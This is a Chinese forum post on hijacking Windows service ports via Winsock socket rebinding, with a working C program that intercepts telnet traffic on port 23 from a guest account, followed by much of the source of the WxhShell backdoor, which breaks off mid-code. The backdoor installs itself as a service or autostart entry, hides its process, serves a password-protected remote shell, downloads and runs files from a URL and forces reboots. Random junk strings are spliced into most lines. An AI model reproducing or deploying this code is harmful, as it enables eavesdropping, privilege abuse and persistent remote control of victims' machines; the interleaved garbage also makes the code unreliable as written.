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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |qz&d=>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oe<DP7e  
TXo`P_SE  
  saddr.sin_family = AF_INET; kJK*wq]U6  
YDYN#Ob(;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l!mx,O`  
W^YaC (I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8F9x2CM-[C  
ve^gzE$<I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yS1i$[JV  
NOFuX9/'w  
  这意味着什么?意味着可以进行如下的攻击: apZPHau6h  
`!Yd$=*c_&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =z[$ o9  
eI,H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2{<o1x,Ym  
\![ p-mW{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q?>DbT6  
DR7JEE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?azcWf z0  
i ?PgYk&}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >!Dp'6  
JFFluL=-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >Og|*g  
nzU;Bi^m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xauMF~*  
'P)c'uqd#  
  #include X& mD/1  
  #include \03ZE^H  
  #include HZqk)sN  
  #include    `j8pgnY>5~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Cy dV$!&mP  
  int main() '0w</g  
  { i>O8q%BnJ  
  WORD wVersionRequested; Q^bYx (r5w  
  DWORD ret; J`[gE`d  
  WSADATA wsaData; gI!d*]{BP  
  BOOL val; SHT`  
  SOCKADDR_IN saddr; $plqk^P  
  SOCKADDR_IN scaddr; >t{-_4Yv?  
  int err; JOH\K0=e  
  SOCKET s; X0Wx\xDg[  
  SOCKET sc; +ZOKfX  
  int caddsize; d hjX[7Bl9  
  HANDLE mt; SY.ZEJcv  
  DWORD tid;   <nTZs`$LwL  
  wVersionRequested = MAKEWORD( 2, 2 ); vXm'ARj  
  err = WSAStartup( wVersionRequested, &wsaData ); ne: 'aq  
  if ( err != 0 ) { 0 9qfnQG  
  printf("error!WSAStartup failed!\n"); Y"L|D,ex  
  return -1; QBh*x/J  
  } @C%6Wo4l3  
  saddr.sin_family = AF_INET; IhRdn1&  
   zf>*\pZE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;;6$d{  
0SQrz$y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pHXs+Ysw+  
  saddr.sin_port = htons(23); P\WFm   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?) T@qn+  
  { @]!9;?so  
  printf("error!socket failed!\n"); 6_:I~TTX  
  return -1; D|*yeS4>  
  } K|Eelhm  
  val = TRUE; [(eX\kL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f `D( V-4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 70'gVCb  
  { -y>~ :.  
  printf("error!setsockopt failed!\n"); <<b]v I  
  return -1; 2Z5_@Y  
  } W*%(J$E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YmpaLZJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JfY(};&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  S'\e"w  
Npi) R)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F]t=5 -O<  
  { +u&[ j/  
  ret=GetLastError(); P aeq  
  printf("error!bind failed!\n"); s/.P/g%tA>  
  return -1; wqi0%Cu*  
  } cg o  
  listen(s,2); &>B"/z  
  while(1) :%Oz:YxC/  
  { e"_kH_7sv  
  caddsize = sizeof(scaddr); 8t. QFze?  
  //接受连接请求 I&m' a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vw4b@v-XQ3  
  if(sc!=INVALID_SOCKET) _-3n'i8  
  { 4$WR8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?O3d Sxi  
  if(mt==NULL) <nb%$2r1  
  { \Z,{De%  
  printf("Thread Creat Failed!\n"); <&#MX  
  break; `a!9_%|8  
  } Rj4C-X 4=  
  } MB7*AA;  
  CloseHandle(mt); -Lu&bVt<>  
  } T9XUNR{&  
  closesocket(s); .xuzu#-  
  WSACleanup(); N .H<'Q8&  
  return 0; /&<V5?1|  
  }   !/!ga)Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) PR]b ]=  
  { Wa7wV 9  
  SOCKET ss = (SOCKET)lpParam; SZyORN  
  SOCKET sc; N#ZWW6  
  unsigned char buf[4096]; -U\'Emu4  
  SOCKADDR_IN saddr; %<x! mE x  
  long num; % 1$#fxR  
  DWORD val; P%H  Dz  
  DWORD ret; \=7jp|{Yl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Mm(#N/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r~2hTie  
  saddr.sin_family = AF_INET; UfPHV%Wd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JSi0-S[Y{  
  saddr.sin_port = htons(23); k_!e5c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fIl!{pv[  
  { wMj #.Jh  
  printf("error!socket failed!\n"); ]ly" K!1,  
  return -1; GGhk~H4OP  
  } i#hFpZ6u  
  val = 100; TYb$+uY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `CH,QT7e  
  { bc4V&  
  ret = GetLastError(); ]d-.Mw,'  
  return -1; vsZ?cd  
  } }{VOyPG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z.u 1Dz  
  { A+gS'DZ9C  
  ret = GetLastError(); -F[@)$L  
  return -1; QF\nf_X  
  } Ei):\,Nv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FOk;=+  
  { g_`a_0v  
  printf("error!socket connect failed!\n"); :>2wVN&\c  
  closesocket(sc); tV`=o$`  
  closesocket(ss); 4k-Ak6s  
  return -1; i/%l B  
  } 9i}$245lB  
  while(1) <K`E*IaW  
  { -PAEJn5$O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [)1vKaC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wz s=BNm9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 / De~K+w7o  
  num = recv(ss,buf,4096,0); #}FUau$  
  if(num>0) `H6~<9r  
  send(sc,buf,num,0); U]~@_j  
  else if(num==0) ,`Y$}"M4  
  break; xBA"w:<  
  num = recv(sc,buf,4096,0); ;//9,x9;t  
  if(num>0) +q '1P}e  
  send(ss,buf,num,0); V7Cnu:0_  
  else if(num==0) xF8n=Lc  
  break; lQHF=Jex  
  } :86:U 0^  
  closesocket(ss); ^ls@Gr7`P  
  closesocket(sc); #%\0][Xf  
  return 0 ; +h4W<YnW  
  } [jzsB:;XB&  
n jWe^  
)6C+0b*  
========================================================== ?gl&q+mv  
3W%6n-*u  
下边附上一个代码,,WXhSHELL \X:e9~  
)*;Tt @'y  
========================================================== M% \ T5  
]=q auf>3  
#include "stdafx.h" oCa Ymi=:  
&sWr)>vs  
#include <stdio.h> ,G t!nm_  
#include <string.h> 3!{imQT  
#include <windows.h> oQ<[`.s  
#include <winsock2.h> FN-/~Su~J  
#include <winsvc.h> $u!(F]^  
#include <urlmon.h> 1+; bd'Ie  
}} =n]_f  
#pragma comment (lib, "Ws2_32.lib") E]OexRJ^i  
#pragma comment (lib, "urlmon.lib") /'rj L<M  
N|DI k  
#define MAX_USER   100 // 最大客户端连接数 qY#*LqV  
#define BUF_SOCK   200 // sock buffer UhDQl%&He  
#define KEY_BUFF   255 // 输入 buffer ]- 1(r,  
Xb%q9Z  
#define REBOOT     0   // 重启 +Y sGH~jX  
#define SHUTDOWN   1   // 关机 #&}- q RA  
CUI3^;&S  
#define DEF_PORT   5000 // 监听端口 m4hkV>$d  
@kFZN6  
#define REG_LEN     16   // 注册表键长度 SKL4U5D{  
#define SVC_LEN     80   // NT服务名长度 @|anu&Hm  
Y,)(Q  
// 从dll定义API Xfq`k/ W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yS W$zA,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZL6HD n!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wf\"&xwh?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qPq]%G*{  
[<R haZz  
// wxhshell配置信息 x|~8?i$%  
struct WSCFG { BV~J*e  
  int ws_port;         // 监听端口 $vegU]-R  
  char ws_passstr[REG_LEN]; // 口令 sN[}B{+  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ay?<~)H  
  char ws_regname[REG_LEN]; // 注册表键名 ^Spu/55_  
  char ws_svcname[REG_LEN]; // 服务名 F?Lt-a+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6VGY4j}:(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :2? g_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #KJ# 1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'v6@5t19j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1&=)Bxg4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _`udd)Y2  
Z!"-LQJ  
}; Ib#-M;{  
_ nMd  
// default Wxhshell configuration I@cw=_EQL  
struct WSCFG wscfg={DEF_PORT, .uJ J<  
    "xuhuanlingzhe", ZbYC3_7w  
    1, =0g!Q   
    "Wxhshell", } {1IB  
    "Wxhshell", 6Rn?pe^  
            "WxhShell Service", 4E^ ?}_$  
    "Wrsky Windows CmdShell Service", M}\h?s   
    "Please Input Your Password: ", $gUlM+sK  
  1, |H?t+Dyn)q  
  "http://www.wrsky.com/wxhshell.exe", _Vr- bpAf  
  "Wxhshell.exe" + `|A/w  
    }; s:3[#&PQpN  
.Fo#Dmq3  
// 消息定义模块 "JB4 Uaa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TJ"-cWpO1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y8k8Hd1<f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7}X1A!1  
char *msg_ws_ext="\n\rExit."; %10ONe}  
char *msg_ws_end="\n\rQuit."; Z3S+")^  
char *msg_ws_boot="\n\rReboot..."; >O-KJZ'GV  
char *msg_ws_poff="\n\rShutdown..."; 'C'mgEl%L  
char *msg_ws_down="\n\rSave to "; zXY8:+f  
_i05' _  
char *msg_ws_err="\n\rErr!"; PILpWhjL$9  
char *msg_ws_ok="\n\rOK!"; A & iv  
EqW~K@  
char ExeFile[MAX_PATH]; L kK *.  
int nUser = 0; iW` tr  
HANDLE handles[MAX_USER]; Ln h =y2  
int OsIsNt; h9)S&Sk{s  
-5<[oBL;  
SERVICE_STATUS       serviceStatus; B6  0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e(0OZ_w  
+S4n416K  
// 函数声明 s;VW %e  
int Install(void); r2=@1=?8  
int Uninstall(void); )5}<@Ql  
int DownloadFile(char *sURL, SOCKET wsh); 4?R979  
int Boot(int flag); \d@5*q  
void HideProc(void); xb;{<~`71  
int GetOsVer(void); l0Q5q)U1A  
int Wxhshell(SOCKET wsl); P.]h`4  
void TalkWithClient(void *cs); =^4Z]d  
int CmdShell(SOCKET sock); <V&0GAZ  
int StartFromService(void); oYqH l1cs  
int StartWxhshell(LPSTR lpCmdLine); ;,f\Wf"BW  
XY"b90  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *ub2dH4/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E4 X6f  
y:;.r:  
// 数据结构和表定义 @2>UR9j  
SERVICE_TABLE_ENTRY DispatchTable[] = F/oqYk9`  
{ {MgRi 7  
{wscfg.ws_svcname, NTServiceMain}, b84l`J  
{NULL, NULL} 2%%\jlT_  
}; =]7o+L4  
[dJ!JT/X{  
// 自我安装 PgkU~68`  
int Install(void) Ob$``31{s  
{ hXTfmFy{n  
  char svExeFile[MAX_PATH]; hF2e--  
  HKEY key; M"3"6U/e  
  strcpy(svExeFile,ExeFile); =[( 34#  
,H]%4@]|o  
// 如果是win9x系统,修改注册表设为自启动 S/]\GG{  
if(!OsIsNt) { (/]'e}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z8SwW<{ $  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  2v{WX  
  RegCloseKey(key); =QqH`.3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &A0OYV3i.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z< %P"   
  RegCloseKey(key); Nr4}x7  
  return 0; #V>R#Oh}  
    } %f]#P8V P  
  } y[_k/.1  
} _uIS[%4g  
else { FZi@h  
g|~px$<iY  
// 如果是NT以上系统,安装为系统服务 h(|T.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z [!"x&H]h  
if (schSCManager!=0) }3#\vn0gT  
{ QEyL/#Q  
  SC_HANDLE schService = CreateService AQ,lLn+  
  ( @Xo*TJB  
  schSCManager, PT/Nz+  
  wscfg.ws_svcname, CF bNv9GZj  
  wscfg.ws_svcdisp, c -+NWC  
  SERVICE_ALL_ACCESS, 'z$N{p40m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7+HK_wNi  
  SERVICE_AUTO_START, $TIeeTB  
  SERVICE_ERROR_NORMAL, :j&enP5R(q  
  svExeFile, ~o'1PAW7  
  NULL, s=8H< 'l  
  NULL, v) n-  
  NULL, s$M(-"mg  
  NULL, dNe!X0[  
  NULL iWCYK7c@.-  
  ); )?rq8VO  
  if (schService!=0) B>2R-pa4~  
  { Q"&Mr+  
  CloseServiceHandle(schService); *'Yy@T8M  
  CloseServiceHandle(schSCManager); R"t#dG]1t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S=qh7ML  
  strcat(svExeFile,wscfg.ws_svcname); KF rsXf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $)M3fZ$#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !r njmc  
  RegCloseKey(key); YmV/[{  
  return 0; d( v"{N}  
    } Q|_F P:  
  } ~]KdsT(=_  
  CloseServiceHandle(schSCManager); k|;a"56F  
} JxVGzb`8  
} (| QJ[@?q  
!Tnjha*  
return 1; 0Ui.nz j  
} $TUYxf0q  
u&zY>'}zm  
// 自我卸载 5 ^{~xOM5  
int Uninstall(void) 3ahriZe  
{ R$&;  
  HKEY key; 5Kzt8Tv[  
B!RfPk1B<*  
if(!OsIsNt) { u zZ|0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xh"9Bcjf  
  RegDeleteValue(key,wscfg.ws_regname); o#qdgZ  
  RegCloseKey(key); ](r}`u%}y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hx#YN*\.M  
  RegDeleteValue(key,wscfg.ws_regname); ? }HK!feU  
  RegCloseKey(key); Mq> 4!  
  return 0; b31$i 5{  
  } nb_/1{F  
} 5%,3)H{;t  
} r^ r+h[V  
else { Zl>SeTjB-  
^6W}ZLp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); un "I  
if (schSCManager!=0) LK'(OZ  
{ H{}&|;0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "tyRnUP  
  if (schService!=0) 45yP {+/-Q  
  { m212 gc0u  
  if(DeleteService(schService)!=0) { vXKL<  
  CloseServiceHandle(schService); "c%wq 0  
  CloseServiceHandle(schSCManager); WDc[+Xyw  
  return 0; XFhH+4#]  
  } E1QJ^]MG.  
  CloseServiceHandle(schService); LW1 4 'A}  
  } "VaWZ*  
  CloseServiceHandle(schSCManager); =4_}.  
} R_EU|a  
} j^jC|  
S`-I-VS=L  
return 1; #BRIp(65-6  
} O=Su E/q  
k{vj,#  
// 从指定url下载文件  +/B  
int DownloadFile(char *sURL, SOCKET wsh) ?N{\qF1Mz  
{ }3z3GU8Q-  
  HRESULT hr; X'OpR   
char seps[]= "/"; -zK>{)Z=q  
char *token; D.Ke  
char *file; ~n 'A1  
char myURL[MAX_PATH]; S#ryEgc]  
char myFILE[MAX_PATH]; @GQe-04W`  
!S?Fz]  
strcpy(myURL,sURL); $yOB-  
  token=strtok(myURL,seps); t 24`*'  
  while(token!=NULL) Qa2h#0j  
  { !oz{XWE  
    file=token; UBd+,]"f  
  token=strtok(NULL,seps); 0AM_D >fH  
  } FVXsu!R  
nlv,j&  
GetCurrentDirectory(MAX_PATH,myFILE); R>c>wYt'f  
strcat(myFILE, "\\"); Yc#Uu8f-  
strcat(myFILE, file); 9R=avfI  
  send(wsh,myFILE,strlen(myFILE),0); ZA=J`- >k  
send(wsh,"...",3,0); h2Q'5G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I"&cr>\  
  if(hr==S_OK) {\>4)TA  
return 0; KS_+R@3Z  
else &N.pW=%,N  
return 1; ;0eVE  
~gX1n9_n  
} uyX % &r  
?8 }pZ_j  
// 系统电源模块 aR2N,<Cp5  
int Boot(int flag) #IH9S5B [  
{ NDRD PD  
  HANDLE hToken; |lhnCShw  
  TOKEN_PRIVILEGES tkp; (MXy\b<  
Oti;wf G7o  
  if(OsIsNt) { W B:0}b0Gu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jr6 0;oK+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]t<=a6 <P  
    tkp.PrivilegeCount = 1; &A s>Y,y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EC,,l'%a|/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hk !=ZE3  
if(flag==REBOOT) { ;Tbo \Wp9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ]]p\1G  
  return 0; *k(FbZ  
} S$b)X"h  
else { 8*-)[+s9il  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,Ee5}#dI  
  return 0; hP:>!KJ  
} u-~ec{oBu  
  } DVd8Ix<  
  else { ";.j[p:gi  
if(flag==REBOOT) { Hec8pL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (H:c8 0/V  
  return 0; }hy4EJ  
} AYf}=t|  
else { |6So$;`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C-edQWbcP  
  return 0; |0Z J[[2  
} M[I=N  
} o?ug`m"  
q&=z^Ln!G  
return 1; 3nBZ+n4z  
} p7\LLJ y  
`:'ciY|%b  
// win9x进程隐藏模块 O n0!>-b,  
void HideProc(void) }/J"/ T  
{ RrxbsG1HP  
,|c;x1|O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _HM?p(H@  
  if ( hKernel != NULL ) A"r<$S6  
  { Kjbk zc1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sk EI51]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Op0*tj2i),  
    FreeLibrary(hKernel); TJYhgna  
  } e,C c.T\o  
_V3z!aI  
return; u'? +JUd1  
} E$lbm>jsb$  
'7oR|I  
// 获取操作系统版本 l4DBGZB  
int GetOsVer(void) .?:#<=1  
{ Q>L(=j2t  
  OSVERSIONINFO winfo; [%^0L~:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QE/kR!r  
  GetVersionEx(&winfo); /- Gq`9Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]$#bNt/p  
  return 1; ,~7~ S"  
  else 0Fkr3x  
  return 0; 5voL@w>  
} Y;Nq(  
nql1I<I  
// 客户端句柄模块 H%vgPQ8  
int Wxhshell(SOCKET wsl) 6,4vs+(|\  
{ Wpf~Ji6||  
  SOCKET wsh; a6zWg7 PN  
  struct sockaddr_in client; RQ0^ 1 R  
  DWORD myID; A*BN  
b81^756  
  while(nUser<MAX_USER) `[$>S  
{ ty5# a  
  int nSize=sizeof(client); :Xy51p`.;]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NcbW"Qv3  
  if(wsh==INVALID_SOCKET) return 1; !>'A2V~F  
=zH)R0!eG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tf=1p1!3  
if(handles[nUser]==0) ku/vV+&O  
  closesocket(wsh); mm_)=Ipj>  
else XRV~yBIS  
  nUser++; LawE 3CD  
  } K!AA4!eUzM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h}|.#!C3  
i~E0p ,  
  return 0; q-^{2.ftcx  
} !]?kvf-3e  
 !'!\>x$  
// 关闭 socket 1OvoW Nx  
void CloseIt(SOCKET wsh) \Dl MOG  
{ #-b}QhxH  
closesocket(wsh); [.Fm-$M-  
nUser--; s Y4w dG  
ExitThread(0); p%iZ6H>G  
} {li Q&AZ  
AaU!a  
// 客户端请求句柄 |L89yjhWBs  
void TalkWithClient(void *cs) pFs/ipZX^*  
{ ,2 xD>+=  
t"9r`0>  
  SOCKET wsh=(SOCKET)cs; gcI<bY  
  char pwd[SVC_LEN]; Mi NEf  
  char cmd[KEY_BUFF]; ouyZh0 G  
char chr[1]; 'h;qI&  
int i,j; D?dS/agA  
Lo}T%0"G  
  while (nUser < MAX_USER) { rR ^o  
G/~b(V;>  
if(wscfg.ws_passstr) { ;Tk/}Od!VN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6i+AJCkC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vxo?%Dj  
  //ZeroMemory(pwd,KEY_BUFF); daCkjDGl\  
      i=0; [T9]q8"  
  while(i<SVC_LEN) { C[{E8Tg/  
6J- /%  
  // 设置超时 V:t{mu5j  
  fd_set FdRead; 8LF=l1=~  
  struct timeval TimeOut; pub?%  
  FD_ZERO(&FdRead); +BM[@?"hrh  
  FD_SET(wsh,&FdRead); b7+(g [O  
  TimeOut.tv_sec=8; Bx)!I]gi_  
  TimeOut.tv_usec=0; ;y7+Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J@i9)D_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "PS ) "t  
5{!"}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XxeP;}  
  pwd=chr[0]; jq#`cay!  
  if(chr[0]==0xd || chr[0]==0xa) { DGTE#?'(  
  pwd=0; 7'8G,|&:*  
  break; 74NL)|M  
  } ./zzuKO8XK  
  i++; InRRcn(  
    } =/xx:D/  
mm*nXJ  
  // 如果是非法用户,关闭 socket `tuGy}S2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U)iBeYW:  
} .i )n1  
E:uTjXt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yW*,Llb5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vV=rBO0a?  
c M<08-:v  
while(1) { 4Wvefq"  
oV9{{  
  ZeroMemory(cmd,KEY_BUFF); M @G\b^"  
7/KK}\NE  
      // 自动支持客户端 telnet标准   f`rI]v|@  
  j=0; cM,g, E}  
  while(j<KEY_BUFF) {  `2\:b^h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4M0p:Ey '  
  cmd[j]=chr[0]; RkTYvAk|kY  
  if(chr[0]==0xa || chr[0]==0xd) { '"c`[L7Wn  
  cmd[j]=0; x <aR|r  
  break; j%ZBAk)}  
  } \R-'<kN.*  
  j++; JSylQ201  
    } {md5G$* %  
}Q\+w,pJgN  
  // 下载文件 YUTh*`1k<  
  if(strstr(cmd,"http://")) { pVzr]WFx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BW3Q03SW6  
  if(DownloadFile(cmd,wsh)) b&Laxki  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2dB]Lw@s  
  else K:VZ#U(_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B>S>t5$  
  } _d^d1Q}V  
  else { e%)MIAS0  
^xScVOdP  
    switch(cmd[0]) { WlW%z(RC  
  sV0NDM0  
  // 帮助 j B1ZF#  
  case '?': { nWK7*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ; bHS^  
    break; j0Cj&x%qF}  
  } 3 _!MVT  
  // 安装 (F3R!n  
  case 'i': { \"L0d1DK)  
    if(Install()) Eg}U.ss^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WWOt>C~zV  
    else 9&6P,ts%Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )J+A2>  
    break; %\}5u[V  
    } M0?%r`  
  // 卸载 %] :ZAmN  
  case 'r': { G^.tAO5:f  
    if(Uninstall()) H4T~Kv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z;/8R7L&  
    else D6fd(=t1Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'qG-)2 t  
    break; ox\D04:M  
    } R >&8%%#  
  // 显示 wxhshell 所在路径 \P"Ol\@  
  case 'p': { y!rJ}e  
    char svExeFile[MAX_PATH]; darbL_1  
    strcpy(svExeFile,"\n\r"); 5}! 36SO\  
      strcat(svExeFile,ExeFile); 5'V-Ly)*%  
        send(wsh,svExeFile,strlen(svExeFile),0); \Mdi eO*  
    break; Eht8~"fj  
    } ][#|5UK8L  
  // 重启 .RAyi>\e  
  case 'b': { H;q[$EUNb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]n"U])pJd  
    if(Boot(REBOOT)) @o#Yq n3Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nz*,m'-1e  
    else { -II03 S1  
    closesocket(wsh); l[%=S!  
    ExitThread(0); C?W}/r[  
    } 1{a4zGE?[  
    break; P*U^,Jh<  
    } nqTOAL9FF  
  // 关机 ;i/? fw[h  
  case 'd': { ZSD7%gE<D  
